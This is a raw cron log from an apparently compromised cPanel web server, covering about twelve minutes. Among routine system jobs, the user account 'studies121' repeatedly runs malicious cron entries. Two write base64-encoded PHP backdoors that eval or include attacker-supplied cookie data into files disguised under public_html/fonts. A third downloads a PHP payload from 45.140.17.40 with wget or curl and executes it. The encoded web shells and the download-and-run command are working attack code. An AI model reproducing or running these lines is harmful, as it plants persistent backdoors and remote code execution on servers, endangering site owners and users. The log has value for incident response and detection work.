Sep  9 01:34:01 ip-184-168-122-23 CROND[21489]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:34:01 ip-184-168-122-23 CROND[21494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:34:01 ip-184-168-122-23 CROND[21492]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 01:34:01 ip-184-168-122-23 CROND[21491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:34:01 ip-184-168-122-23 CROND[21493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:35:01 ip-184-168-122-23 CROND[21596]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:35:01 ip-184-168-122-23 CROND[21600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:35:01 ip-184-168-122-23 CROND[21599]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 01:35:01 ip-184-168-122-23 CROND[21601]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 01:35:01 ip-184-168-122-23 CROND[21602]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 01:35:01 ip-184-168-122-23 CROND[21603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:35:01 ip-184-168-122-23 CROND[21604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:35:01 ip-184-168-122-23 CROND[21605]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 01:36:01 ip-184-168-122-23 CROND[21702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:36:01 ip-184-168-122-23 CROND[21703]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:36:01 ip-184-168-122-23 CROND[21705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:36:01 ip-184-168-122-23 CROND[21707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:36:01 ip-184-168-122-23 CROND[21710]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 01:37:01 ip-184-168-122-23 CROND[21892]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:37:01 ip-184-168-122-23 CROND[21893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:37:01 ip-184-168-122-23 CROND[21894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:37:01 ip-184-168-122-23 CROND[21895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:38:01 ip-184-168-122-23 CROND[21986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:38:01 ip-184-168-122-23 CROND[21988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:38:01 ip-184-168-122-23 CROND[21989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:38:01 ip-184-168-122-23 CROND[21990]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 01:38:01 ip-184-168-122-23 CROND[21992]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:39:01 ip-184-168-122-23 CROND[22075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:39:01 ip-184-168-122-23 CROND[22079]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 01:39:01 ip-184-168-122-23 CROND[22081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:39:01 ip-184-168-122-23 CROND[22082]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:39:01 ip-184-168-122-23 CROND[22080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:40:01 ip-184-168-122-23 CROND[22193]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 01:40:01 ip-184-168-122-23 CROND[22196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:40:01 ip-184-168-122-23 CROND[22197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:40:01 ip-184-168-122-23 CROND[22198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:40:01 ip-184-168-122-23 CROND[22199]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 01:40:01 ip-184-168-122-23 CROND[22201]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 01:40:01 ip-184-168-122-23 CROND[22205]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 01:40:01 ip-184-168-122-23 CROND[22203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:41:01 ip-184-168-122-23 CROND[22294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:41:01 ip-184-168-122-23 CROND[22295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:41:01 ip-184-168-122-23 CROND[22299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:41:01 ip-184-168-122-23 CROND[22297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:42:01 ip-184-168-122-23 CROND[22378]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:42:02 ip-184-168-122-23 CROND[22381]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 01:42:02 ip-184-168-122-23 CROND[22382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:42:02 ip-184-168-122-23 CROND[22380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:42:02 ip-184-168-122-23 CROND[22383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:43:01 ip-184-168-122-23 CROND[22462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:43:01 ip-184-168-122-23 CROND[22464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:43:01 ip-184-168-122-23 CROND[22463]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:43:01 ip-184-168-122-23 CROND[22467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:44:01 ip-184-168-122-23 CROND[22542]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:44:01 ip-184-168-122-23 CROND[22543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:44:01 ip-184-168-122-23 CROND[22544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:44:01 ip-184-168-122-23 CROND[22545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:44:01 ip-184-168-122-23 CROND[22546]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 01:45:01 ip-184-168-122-23 CROND[22730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:45:01 ip-184-168-122-23 CROND[22732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:45:01 ip-184-168-122-23 CROND[22733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:45:01 ip-184-168-122-23 CROND[22734]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 01:45:01 ip-184-168-122-23 CROND[22736]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 01:45:01 ip-184-168-122-23 CROND[22741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:46:01 ip-184-168-122-23 CROND[22841]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
